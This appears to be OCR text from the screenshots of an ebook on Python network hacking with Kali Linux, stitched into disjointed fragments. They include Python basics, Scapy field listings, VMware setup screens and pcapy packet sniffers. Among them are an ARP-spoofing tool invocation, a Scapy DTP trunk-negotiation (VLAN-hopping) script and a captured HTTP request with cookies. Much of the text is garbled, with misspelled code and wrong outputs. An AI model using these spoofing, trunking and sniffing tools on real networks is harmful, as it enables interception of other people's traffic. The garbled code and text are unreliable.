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>>> LS(ARF)
hwtype
ptype

hwlen

plen

op

hwsrc

psrc

hwdst

pdst

: XshortField
: XShortEnunField

: ByteField

: ByteField

: ShortEnumField

: ARPSourceMACField
: SourceIPField

: MACField

: IPField

0:00:00:00:00")
('e. 0.0.0' )
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1 #!/usr/bin/python

[ef maximum(x, y)
if x>y
return x
else
return y

print maximum(2, 3)

WikizsE
2
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dict['Age']: 8
dict['School']: DPS School
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Python for VSCode 022 KAk A A
Python language extension fo vscode

Thomas Haakon Townsend insiail|
Python ¢ ST

Linting, Debugging (multi-threaded, remote), Inellise
Do

Python Extended 00— ik k k& Ak

Python Extended is avscode snippet that makes it
Taiwo Kareem

Python-autopeps 1o ok
This s a vscode-extension that applies autopeps to

himanoa Install|
MagicPython o5 5 S KKK Ak

Syntax highiighter for cutting edge Python.
MagicStack Inc.

unt
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#1/usr/bin/python
inport pcapy

dev =
Filter =

the"

tcp and port 86"

def read_packet(hdr, data):
print data

peap - peapy.open_offline("sniffer.pcep’
peap.loop(e, read packet) R ZAT(EE
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print bool(1)
print bool(True)
print bool('0')
print bool([])

print bool((1,))

WikizsE

True
True
True
False
True
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#1/usr/bin/pyth

def say(message, times = 1)
print message * times

say('Hello')
say('World', 5)

WikizsE

Hello
Worldworldwor ldwor ldworld
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sport
dport
seq

ack
dataofs
reserved
flags
window
chksum
urgptr
options

>>> 1s(TCP)

ShortEnunField
ShortEnunField
IntField
IntField
BitField
BitField
FlagsField
ShortField
XShortField
ShortField
TCPOptionsField
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My name is Zara and weight is 21 kg!
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root@kali:~/python# python
Python 2.7.12 (default, Jun 29 2016, 08:18:26)

[6CC 5.4.0 26160609] on 1inux2

Type "help”, "copyright”, "credits” or "license" for more information.
>>> int(4.255555)

a

>>> long(42)

a2

>>> float(4)

4.0

>>> complex(4)

maib





OEBPS/Images/818c98feeb4aeaeefcd955ce87eb5445.jpg
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Traceback (most recent call last)
File "/root/python/dictTest.py", line 33, in <module>
dict = {['Name']: 'Zara', 'Age': 7}
TypeError: unhashable type: 'list
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class Person
def _init_(self, name)
self.name = name
def sayHi(self)
print 'Hello, my name is', self.name

p = Pel
p.sayH

n( ' swaroop' )

1

iello, my name is Swaroop
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New Virtual Machine Wizard

Choose the Virtual Machine Hardware Compatibility
Vibich hardiware features are needed for tis virtual machine?

Vitual machine hardware compatbilty

i

Compatibe with: ESX Server
Compatibie products: Limitatins:
Fusion 6.0 = 6468 memory.
Workstation 10.0 16 processors
10 network adapters.
878 disksize
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('window', 6)
('defenestrate’, 12)
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root@kali:~/python/ARP# python arpl.py -1 eth@ -t 192.168.1.18 -m rep 192.168.1.

1
WARNING: No route found for IPV6 destination :: (no default route?)

ent 1 packets.

Sent 1 packets.
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EGABAT rygel (0.30.3-1) MMAH
E&ABAF initranfs-tools (0.125) MMAH ...
pdate-initranfs: Generating /boot/initrd.img-4.6.6-kalil
E4 AT tex-common (6.05) MMEH

Running updnap-sys. This may take some time... done.
Running mktexlsr /var/lib/texnf ... done.

Building format(s) --all.

This nay take some time... done.
[otaKali:~# reboot
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Footckal:~/python# python socket_ thread.pl

Y
Socket now listening Escape character is ‘"]’
oAt S8 o 1150730 scve e
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e
1477577703.93 OGO DGCHEG. GTOO 0. 9700 9GcORI0NET /1. jpg HTTP)
Host: waw. coblogs. com

Connection: kesp-alive

Accept: inage/uebp, */*q0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWG4) ApplewebKit/537.36 (KHTML, like Gec
ra/537.36

hccept-Encoding: grip, deflate, sdch

Accept-Languags: zh-CN,2hiq=0.8

Caokis: sc_is_visitor_uniqus=rx10500913. 1471567137, SD0OFOR0BCS44FOE OESASSFS675BS 1
Arstine=1471832602081 pgy_pyi=T613010944; Thb_smart_i=1; _gads=ID=52b0ca70407035
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New Virtual Machine Wizard

Network Type
What type of network do you want to add?

Network connection

Use bridged networking
Give the guest operating system direct access to an external Ethernet
network. The guest must have s own IP address on the external network.

Use network address translation (NAT)
Give the guest operating system access to the host computer's dial-up or
external Ethernet network connection using the host’s IP address.

Use host-only netiorking
Connect the quest operating system to a private vrtual network on the host
computer.

Do not use a network connection

P e
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nake- df sg (4.1-2) unstabl e; urgency=low
VARNING Backvard-i nconpati bi I ty!

The ar_programin the binutils package in Debian is now confi gured
vi th -- enabl e- determi i sti c-archives. This change nakes the archives

" reproducible, by setting the UD G and timestanp to 0. Hovever,
when deal ing i th archives created vith the Iibxx(*.0) style rules,
rake needs the tinestanp of the file in order to decide to update it
or not. Wth the current deterninistic behavior of ar, the time stanp
is alvays 0. This has consequences, since mke il fall back to al vays
adding each nenber to the archive, whether or not it is required. This
i's a change in behaviour, and, for instance, it nakes make fail to
build, failing 7 out of 10 archive tests.

\

Since binutils will create archive vith tine stanps set to 0 vhen
runni ng in "deterninistic" node, make will alvays try to update such
menbers. When this is detected, nake will enit a varning.

There i's sone onl i ne di scussi on:
https: //bugs. debi an. or g/ cgi - bi rV bugr eport. cgi ?bug=798804

hl(Es /b % debi an. org/cgi - bi v bugr eport. cgi ?bug=798913
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>>> 1s(Dot1Q)

prio : BitField (3 bits)
d : BitField (1 bit)

: BitField (12 bits)

: XShortEnumField
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New Virtual Machine Wizard

Select 1/0 Controller Types
Vibich SCST controller type would you ke to use?

1/0 controlr types
SCSI Controler:  BusLogic (Not avalable for 64-bit quests)

[ <madc ) (o> ] |
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funcHello.py

#1/usr/bin/python

def sayHello()
print 'Hello world:'
sayHello()

WikizsE
Hello World!
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>>> 1s(Ether)
dst DestMACField
src SourceMACField
type : XShortEnunField
>>>

(36864)
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stringStest = 'abcdefghijk

for char in stringStest[1

if char
print 'not c

WikizsE

not
not.
not.
not.
not.
not.
not.
not.
not

1
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44 reply = s.recv(4096)

print Feply

Witz

Socket Connected to www.zhihu.com on ip 60.174.156. 100
Hessage send successfully

HTTP/1.1 200 0K

Server: CON_NWS_4.2.0

Connection: kesp-alive

Date: Fri, 12 Aug 2016 07:33:04 GHT

Last-Hodified: Thu, 28 Apr 2016 08:39:08 GHT
Content-Type: application/octet-stream
Content-Length: 4095
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#1/usr/bin/python

import peapy

dev = “ctho
filter = "tcp and port 8

def save_packet(hdr, data):
dunper.dump(hdr,, data)

pcap = peapy.open_live(dev, 1500, 8, 100)
dumper. = pcap. dump_open(sniffer.peap’)
peap.setfilter(filter)

pcap.loop(, save_packet)






OEBPS/Images/21d7b57c5f6f6c8455095d745273c0bf.jpg
amport peap

aniffor = peap.pearf stho’ 65535,

SnapLun=65535, promiscerrue, {isecut_msshont
) -» packet capture object open a handle to
2 packet capture descriptor. Keyuord arguaents: nass -- nane
of a natiork interface or dusfile fo open, or flene to cpen
the first available up intarface snaplen -- saxious nusber
of bytes to capture for each packet proisc -~ boolsan to
specify promiscuous ode sniffing tineout_us -- reaussts for
the next packet L return Hene 1t the tireout (in
miLiiseconds) 1s reached and no packets vers racetved
(DoTauLt; o tineout) iamediate -- disable buffaring, 17
possible.

promisceTrue promsceTe
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New Virtual Machine Wizard Lt

‘Specify Disk Capacity
How large do you want tis disk to be?

Maximum disk sze (G8): 0%
Recommended size for Debian 7 64-bit: 20 GB

[C] ocate all disk space now.
Alocating the ful capacity can enhance performance but requies ol o the

physical disk space to be avalabie riht now. IF you do not alocate al the
Space now, the vitual disk starts small and grows s you add data to .

Sie Vi dk e e e

Spit virtual disknto multle fles:

Spitting the isk makes it easer to move the virtual machine to another
computer but may reduce performance with verylarge disks.

[Cree ] <Bock ) [ Next> [ Cancel
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MRS

dict['Name']: Zara
dict['Age']: 7
Traceback (most recent call last)
File "/root/python/dictTest.py", line 8, in <module>
print dict['Xuanhun']
KeyError: 'Xuanhun
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#1/usr/bin/pyth

import sys
from scapy. layers.12 import Dot3 , LLC, SNAP
from scapy. contrib.dtp import *

if len(sys.argy) < 2
print sys.argv[0] + " <dev>"
sys.exit()

negotiate_trunk{iface=sys. argy[1
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hello server
hello server
Connection clgsed by foreign host.
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New Virtual Machine Wizard Lt

‘Guest Operating System Installation
A virtual machine i lie 2 physial computer; it needs an operating
system. How wil you instal the guest operating system?

Instal from:

Instaler disc:

3 ovo R 3gehE )

Installer discimage fle (so):

T8 al-inux-2016. 1amdskal-inux-2016. v

A\ Coukd ot detect which operatig system s intis dc image.
You wilneed tospeciy which operating system il be nstaled.

Ll install the operating system ater.
The vitual machine wil be created with a blank hard disk.

[ <Back ] [ Next> | [ Cancel
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WikizsE

File "/root/python/exceptiont.py”, line 1
Print 'hello

syntaxError: invalid syntax
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THEn
> 104apci - IEC 60870-5-104-Apci
» 104asdu - IEC 60870-5-104-Asdu
> 1722A - IEEE 1722a Protocol

29West - 29West Protocol

2dparityfec.e - RFC2733 Extension (E)
2dparityfec.index - Index ‘
2dparityfec.Ir - Length recovery ‘
2dparityfec.mask - Mask
2dparityfec.na - NA

2dparityfec.offset - Offset
2dparityfec.payload - FEC Payload 3

2dparityfec.ptr - Payload Type recovery
2dparityfec.snbase_ext - SNBase ext
2dparityfec.snbase_low - SNBase low
2dparityfec.tsr - Timestamp recovery

2dparityfec.x - Pro-MPEG Extension (X) v
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>>> packat

P()

>>> packate. show()
] TP ]
version= 4
ihl= None
tos= 0x0
Ten= None
id=

proto= hopopt
chksum=_None

\options\.
55>
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abc -4.24493 (1846.6]) xyz
value of x , y i 12





